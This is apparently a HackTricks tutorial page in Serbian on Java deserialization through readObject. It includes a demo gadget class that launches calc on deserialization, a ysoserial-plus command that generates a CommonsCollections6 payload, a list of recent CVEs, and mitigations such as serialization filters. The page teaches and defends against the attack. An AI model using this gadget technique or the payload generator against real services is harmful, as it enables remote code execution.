Osnovna Java Deserializacija sa ObjectInputStream readObject

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

U ovom POST-u će biti objašnjen primer korišćenja java.io.Serializable i zašto prepisivanje readObject() može biti izuzetno opasno ako je dolazni tok podataka pod kontrolom napadača.

Serializable

Java Serializable interfejs (java.io.Serializable) je marker interfejs koji vaše klase moraju implementirati ako žele da budu serijalizovane i deserijalizovane. Java serijalizacija objekata (pisanje) se vrši pomoću ObjectOutputStream, a deserializacija (čitanje) se vrši pomoću ObjectInputStream.

Podsetnik: Koje metode se implicitno pozivaju tokom deserializacije?

  1. readObject() – logika čitanja specifična za klasu (ako je implementirana i privatna).
  2. readResolve() – može zameniti deserializovani objekat drugim.
  3. validateObject() – putem ObjectInputValidation povratnih poziva.
  4. readExternal() – za klase koje implementiraju Externalizable.
  5. Konstruktori se ne izvršavaju – stoga lanci gadgeta oslanjaju se isključivo na prethodne povratne pozive.

Svaka metoda u tom lancu koja završi pozivajući podatke pod kontrolom napadača (izvršavanje komandi, JNDI pretrage, refleksija, itd.) pretvara rutinu deserializacije u RCE gadget.

Pogledajmo primer sa klasom Person koja je serijalizovana. Ova klasa prepisuje funkciju readObject, tako da kada se bilo koji objekat ove klase deserijalizuje, ova funkcija će biti izvršena.
U primeru, readObject funkcija klase Person poziva funkciju eat() njegovog ljubimca, a funkcija eat() psa (iz nekog razloga) poziva calc.exe. Videćemo kako da serijalizujemo i deserijalizujemo objekat Person da bismo izvršili ovaj kalkulator:

Sledeći primer je sa https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649

java
import java.io.Serializable;
import java.io.*;

public class TestDeserialization {
interface Animal {
public void eat();
}
//Class must implements Serializable to be serializable
public static class Cat implements Animal,Serializable {
@Override
public void eat() {
System.out.println("cat eat fish");
}
}
//Class must implements Serializable to be serializable
public static class Dog implements Animal,Serializable {
@Override
public void eat() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("dog eat bone");
}
}
//Class must implements Serializable to be serializable
public static class Person implements Serializable {
private Animal pet;
public Person(Animal pet){
this.pet = pet;
}
//readObject implementation, will call the readObject from ObjectInputStream  and then call pet.eat()
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
pet = (Animal) stream.readObject();
pet.eat();
}
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(String[] args) throws Exception {
// Example to call Person with a Dog
Animal animal = new Dog();
Person person = new Person(animal);
GeneratePayload(person,"test.ser");
payloadTest("test.ser");
// Example to call Person with a Cat
//Animal animal = new Cat();
//Person person = new Person(animal);
//GeneratePayload(person,"test.ser");
//payloadTest("test.ser");
}
}

Zaključak (klasičan scenario)

Kao što možete videti u ovom vrlo osnovnom primeru, "ranjivost" ovde se pojavljuje jer readObject() metoda poziva drugi kod pod kontrolom napadača. U stvarnim lancima gadgeta, hiljade klasa sadržanih u spoljnim bibliotekama (Commons-Collections, Spring, Groovy, Rome, SnakeYAML, itd.) mogu biti zloupotrebljene – napadaču je potrebna jedna dostupna gadgeta da bi dobio izvršenje koda.


2023-2025: Šta je novo u Java deserialization napadima?

  • 2023 – CVE-2023-34040: Spring-Kafka deserialization zaglavlja grešaka kada su checkDeserExWhen* zastavice omogućene omogućilo je proizvoljnu konstrukciju gadgeta iz tema koje je objavio napadač. Ispravljeno u 3.0.10 / 2.9.11. ¹
  • 2023 – CVE-2023-36480: Aerospike Java klijent poverenje u server prekinuto – zlonamerne odgovore servera sadržale su serijalizovane payload-e koje je klijent deserializovao → RCE. ²
  • 2023 – CVE-2023-25581: pac4j-core atribut profila korisnika prihvatio je {#sb64}-prefiksirane Base64 blobove i deserializovao ih uprkos RestrictedObjectInputStream. Ažurirajte ≥ 4.0.0.
  • 2023 – CVE-2023-4528: JSCAPE MFT Manager Service (port 10880) prihvatio je XML-encoded Java objekte što je dovelo do RCE kao root/SYSTEM.
  • 2024 – Više novih gadget lanaca je dodato u ysoserial-plus(mod) uključujući Hibernate5, TomcatEmbed i SnakeYAML 2.x klase koje zaobilaze neke stare filtere.

Moderne mitigacije koje treba primeniti

  1. JEP 290 / Filtriranje serijalizacije (Java 9+) Dodajte listu dozvoljenih ili zabranjenih klasa:
bash
# Prihvatite samo svoje DTO-ove i java.base, odbacite sve ostalo
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"

Programatski primer:

java
var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
ObjectInputFilter.Config.setSerialFilter(filter);
  1. JEP 415 (Java 17+) Filter fabrike specifične za kontekst – koristite BinaryOperator<ObjectInputFilter> da primenite različite filtere po kontekstu izvršenja (npr. po RMI pozivu, po potrošaču poruka).
  2. Ne izlažite sirovi ObjectInputStream preko mreže – preferirajte JSON/Binary kodiranja bez semantike izvršenja koda (Jackson nakon onemogućavanja DefaultTyping, Protobuf, Avro, itd.).
  3. Ograničenja odbrane u dubini – Postavite maksimalnu dužinu niza, dubinu, reference:
bash
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
  1. Kontinuirano skeniranje gadgeta – pokrenite alate kao što su gadget-inspector ili serialpwn-cli u vašem CI da bi se izgradnja obustavila ako postane dostupna opasna gadgeta.

Ažurirani alatni cheat-sheet (2024)

  • ysoserial-plus.jar – zajednički fork sa > 130 gadget lanaca:
bash
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
  • marshalsec – još uvek referenca za generisanje JNDI gadgeta (LDAP/RMI).
  • gadget-probe – brza crna kutija za otkrivanje gadgeta protiv mrežnih usluga.
  • SerialSniffer – JVMTI agent koji ispisuje svaku klasu koju čita ObjectInputStream (korisno za kreiranje filtera).
  • Saveta za detekciju – omogućite -Djdk.serialDebug=true (JDK 22+) da biste zabeležili odluke filtera i odbijene klase.

Brza lista provere za sigurne readObject() implementacije

  1. Napravite metodu private i dodajte @Serial anotaciju (pomaže statičkoj analizi).
  2. Nikada ne pozivajte metode koje je obezbedio korisnik ili ne vršite I/O u metodi – samo čitajte polja.
  3. Ako je potrebna validacija, izvršite je nakon deserializacije, van readObject().
  4. Preferirajte implementaciju Externalizable i izvršite eksplicitna čitanja polja umesto podrazumevane serijalizacije.
  5. Registrujte ojačani ObjectInputFilter čak i za interne usluge (dizajn otporan na kompromitaciju).

Reference

  1. Spring Security Advisory – CVE-2023-34040 Java Deserialization u Spring-Kafka (avgust 2023)
  2. GitHub Security Lab – GHSL-2023-044: Nesigurna Deserializacija u Aerospike Java Klijentu (jul 2023)

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks